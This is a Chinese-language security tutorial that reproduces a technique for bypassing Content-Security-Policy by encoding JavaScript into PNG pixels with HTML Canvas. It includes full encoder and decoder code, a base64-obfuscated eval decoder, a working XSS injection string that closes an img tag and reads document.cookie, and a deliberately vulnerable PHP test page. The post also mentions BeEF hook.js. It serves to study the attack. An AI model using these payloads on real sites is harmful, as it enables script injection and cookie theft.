最近发现国外一篇文章,通读下来还是很有意思的,所以决定跟随复现一下相关内容。在此过程中也学到了一些东西,此文为分享记录。
使用HTML Canvas,可以通过将每个源代码字符转换为像素来将任何JavaScript代码(或整个库)隐藏为PNG图像。然后,可以将图像上传到受信任的网站(如Twitter或Google)(通常由CSP列入白名单),然后作为远程图像加载到HTML文档中。最后,通过使用canvas getImageData方法,可以从图像中提取“隐藏的JavaScript”并执行它。有时,这可能导致绕过Content-Security-Policy,使攻击者能够包含整个和外部JavaScript库。
HTML5 的 canvas 元素使用 JavaScript 在网页上绘制图像。
画布是一个矩形区域,您可以控制其每一像素。
canvas 拥有多种绘制路径、矩形、圆形、字符以及添加图像的方法。
CSP指的是内容安全策略,为了缓解很大一部分潜在的跨站脚本问题,浏览器的扩展程序系统引入了内容安全策略(CSP)的一般概念。这将引入一些相当严格的策略,会使扩展程序在默认情况下更加安全,开发者可以创建并强制应用一些规则,管理网站允许加载的内容。
一种是通过 HTTP 头信息的Content-Security-Policy的字段 在文件中添加
header("Content-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval'; img-src 'self' https://www.baidu.com")
另外一种是通过网页的标签
<meta http-equiv="Content-Security-Policy" content="script-src 'self'">
我们在页面引入一个cdn,但是meta的content只设置为script-src ‘self’
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<meta http-equiv="Content-Security-Policy" content="script-src 'self'"/>
<title>Document</title>
<script src="https://cdn.bootcss.com/jquery/3.3.1/jquery.min.js"></script>
</head>
那么,我们将会看到如下结果
当两者同时存在时,以小范围为标准。
有许多网站配置script-src指令,允许使用unsafe-inline和unsafe-eval来避免误报。而且,许多网站将整个域列入白名单,而不是将特定资源列入白名单。
对配置了防护网站进行漏洞利用时,会被策略阻断掉。这个时候就需要绕过CSP防护,在此之前也有一些姿势,感兴趣的朋友可以去进一步了解相关绕过方法。
在控制台生成一个隐藏hello,world字符的图片
(function() {
function encode(a) {
if (a.length) {
var c = a.length,
e = Math.ceil(Math.sqrt(c / 3)),
f = e,
g = document.createElement("canvas"),
h = g.getContext("2d");
g.width = e, g.height = f;
var j = h.getImageData(0, 0, e, f),
k = j.data,
l = 0;
for (var m = 0; m < f; m++)
for (var n = 0; n < e; n++) {
var o = 4 * (m * e) + 4 * n,
p = a[l++],
q = a[l++],
r = a[l++];
(p || q || r) && (p && (k[o] = ord(p)), q && (k[o + 1] = ord(q)), r && (k[o + 2] = ord(r)), k[o + 3] = 255)
}
return h.putImageData(j, 0, 0), h.canvas.toDataURL()
}
}
var ord = function ord(a) {
var c = a + "",
e = c.charCodeAt(0);
if (55296 <= e && 56319 >= e) {
if (1 === c.length) return e;
var f = c.charCodeAt(1);
return 1024 * (e - 55296) + (f - 56320) + 65536
}
return 56320 <= e && 57343 >= e ? e : e
},
d = document,
b = d.body,
img = new Image;
var stringenc = "Hello, World!";
img.src = encode(stringenc), b.innerHTML = "", b.appendChild(img)
})();
执行后效果如下 解码的js代码
t = document.getElementsByTagName("img")[0];
var s = String.fromCharCode, c = document.createElement("canvas");
var cs = c.style,
cx = c.getContext("2d"),
w = t.offsetWidth,
h = t.offsetHeight;
c.width = w;
c.height = h;
cs.width = w + "px";
cs.height = h + "px";
cx.drawImage(t, 0, 0);
var x = cx.getImageData(0, 0, w, h).data;
var a = "",
l = x.length,
p = -1;
for (var i = 0; i < l; i += 4) {
if (x[i + 0]) a += s(x[i + 0]);
if (x[i + 1]) a += s(x[i + 1]);
if (x[i + 2]) a += s(x[i + 2]);
}
console.log(a);
document.getElementsByTagName("body")[0].innerHTML=a;
执行后效果
单个像素中,可以用相应数值对应通道值,第一个转换的字符用于红色通道,第二个字符用于绿色通道,最后一个字符用于蓝色通道。第四个值是alpha级别,在例子中总是255。
阿尔法通道(α Channel或Alpha Channel)是指一张图片的透明和半透明度。例如:一个使用每个像素16比特存储的位图,对于图形中的每一个像素而言,可能以5个比特表示红色,5个比特表示绿色,5个比特表示蓝色,最后一个比特是阿尔法。在这种情况下,它要么表示透明要么不是,因为阿尔法比特只有0或1两种不同表示的可能性。又如一个使用32个比特存储的位图,每8个比特表示红绿蓝,和阿尔法通道。在这种情况下,就不光可以表示透明还是不透明,阿尔法通道还可以表示256级的半透明度,因为阿尔法通道有8个比特可以有256种不同的数据表示可能性。
详细可以看下图
现在我们可以将攻击载荷隐藏到图片中,可以将图片上传到可信域来绕过scp防护。
首先将恶意payload转化为图片,在从被攻击站点从可信域加载,加载后在使用解码函数进行解码执行。
具体操作:
使用js的btoa函数把需要转化的js代码转化为base64(如果不转化的话,就需要对js代码的引号进行转义),然后使用隐藏代码隐藏这串base64的值(js代码),然后把解码函数也转化为base64,在解码函数中最重要的就是eval,它是执行图片解码后的内容的。如果先前做了base64加密,就需要先解码在执行。
我把字符串“alert(document.cookie)”生成了图片,而后使用下面代码调用即可弹出cookie。
很小的图片,可以添加无用注释,让图片大一点。
下面有个图片
上面有个图片(狗头)
t = document.getElementById("jsimg");
var s = String.fromCharCode, c = document.createElement("canvas");
var cs = c.style,
cx = c.getContext("2d"),
w = t.offsetWidth,
h = t.offsetHeight;
c.width = w;
c.height = h;
cs.width = w + "px";
cs.height = h + "px";
cx.drawImage(t, 0, 0);
var x = cx.getImageData(0, 0, w, h).data;
var a = "",
l = x.length,
p = -1;
for (var i = 0; i < l; i += 4) {
if (x[i + 0]) a += s(x[i + 0]);
if (x[i + 1]) a += s(x[i + 1]);
if (x[i + 2]) a += s(x[i + 2]);
}
console.log(a); \\可以打印出来看看是什么,有助于理解
eval(a);
---------------------------------
t = document.getElementById(\"jsimg\");\nvar s = String.fromCharCode, c = document.createElement(\"canvas\");\nvar cs = c.style,\n cx = c.getContext(\"2d\"),\n w = t.offsetWidth,\n h = t.offsetHeight;\nc.width = w;\nc.height = h;\ncs.width = w + \"px\";\ncs.height = h + \"px\";\ncx.drawImage(t, 0, 0);\nvar x = cx.getImageData(0, 0, w, h).data;\nvar a = \"\",\n l = x.length,\n p = -1;\nfor (var i = 0; i < l; i += 4) {\n if (x[i + 0]) a += s(x[i + 0]);\n if (x[i + 1]) a += s(x[i + 1]);\n if (x[i + 2]) a += s(x[i + 2]);\n}\nconsole.log(a);\neval(atob(a));
---------------------------------
eval(atob("base64-encoded-js"))
onload='javascript:eval(atob("dCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJqc2ltZyIpOwp2YXIgcyA9IFN0cmluZy5mcm9tQ2hhckNvZGUsIGMgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJjYW52YXMiKTsKdmFyIGNzID0gYy5zdHlsZSwKICAgIGN4ID0gYy5nZXRDb250ZXh0KCIyZCIpLAogICAgdyA9IHQub2Zmc2V0V2lkdGgsCiAgICBoID0gdC5vZmZzZXRIZWlnaHQ7CmMud2lkdGggPSB3OwpjLmhlaWdodCA9IGg7CmNzLndpZHRoID0gdyArICJweCI7CmNzLmhlaWdodCA9IGggKyAicHgiOwpjeC5kcmF3SW1hZ2UodCwgMCwgMCk7CnZhciB4ID0gY3guZ2V0SW1hZ2VEYXRhKDAsIDAsIHcsIGgpLmRhdGE7CnZhciBhID0gIiIsCiAgICBsID0geC5sZW5ndGgsCiAgICBwID0gLTE7CmZvciAodmFyIGkgPSAwOyBpIDwgbDsgaSArPSA0KSB7CiAgICBpZiAoeFtpICsgMF0pIGEgKz0gcyh4W2kgKyAwXSk7CiAgICBpZiAoeFtpICsgMV0pIGEgKz0gcyh4W2kgKyAxXSk7CiAgICBpZiAoeFtpICsgMl0pIGEgKz0gcyh4W2kgKyAyXSkKfQpldmFsKGEp"))'
将图片上传到可信域,这里做演示,我就放在了本地。 就原始环境,这里的payload。
/xss.php?lang=http://127.0.0.1/tt.png" id="jsimg" onload='javascript:eval(atob("dCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJqc2ltZyIpOwp2YXIgcyA9IFN0cmluZy5mcm9tQ2hhckNvZGUsIGMgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJjYW52YXMiKTsKdmFyIGNzID0gYy5zdHlsZSwKICAgIGN4ID0gYy5nZXRDb250ZXh0KCIyZCIpLAogICAgdyA9IHQub2Zmc2V0V2lkdGgsCiAgICBoID0gdC5vZmZzZXRIZWlnaHQ7CmMud2lkdGggPSB3OwpjLmhlaWdodCA9IGg7CmNzLndpZHRoID0gdyArICJweCI7CmNzLmhlaWdodCA9IGggKyAicHgiOwpjeC5kcmF3SW1hZ2UodCwgMCwgMCk7CnZhciB4ID0gY3guZ2V0SW1hZ2VEYXRhKDAsIDAsIHcsIGgpLmRhdGE7CnZhciBhID0gIiIsCiAgICBsID0geC5sZW5ndGgsCiAgICBwID0gLTE7CmZvciAodmFyIGkgPSAwOyBpIDwgbDsgaSArPSA0KSB7CiAgICBpZiAoeFtpICsgMF0pIGEgKz0gcyh4W2kgKyAwXSk7CiAgICBpZiAoeFtpICsgMV0pIGEgKz0gcyh4W2kgKyAxXSk7CiAgICBpZiAoeFtpICsgMl0pIGEgKz0gcyh4W2kgKyAyXSkKfQpldmFsKGEp"))'><a+href="
简单解释一下:从本地载入图片,并赋予id,值为jsimg,使用后面一串代码解码执行,最后><a+href=”只是为了闭合
启动phpstudy,相应文件放到对应目录 xss.php文件内容
<?php
header("Content-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval'; img-src 'self' https://www.baidu.com")
?>
<html>
<head>
<!-- <meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<meta http-equiv="Content-Security-Policy" content="script-src 'self' https://cdn.bootcss.com"/>
<title>Document</title>
<script src="https://cdn.bootcss.com/jquery/3.3.1/jquery.min.js"></script> -->
</head>
<booy>
<img src="<?php echo $_GET['lang'] ?>/flag.php">
</body>
</html>
这里因为我自己在测试时,尝试了beef的hook.js,所以这里弹出来多了一个beefhook的值。 也可以使用xss平台上的js代码自己进行尝试。 hook.js功能多,但是真的大。
说白了就是把js代码隐藏到图片里,然后解码执行。如果有过滤,那么eval等还是被干掉了,就不行了。而且既然不允许从外域加载js文件,也可以在xss处写代码,把数据传回来。个人感觉略微鸡肋。
学习了CSP概念
学习了隐藏数据的一种方式
学习了JS的一些代码
学习了一种绕过CSP思路
参考文章:https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/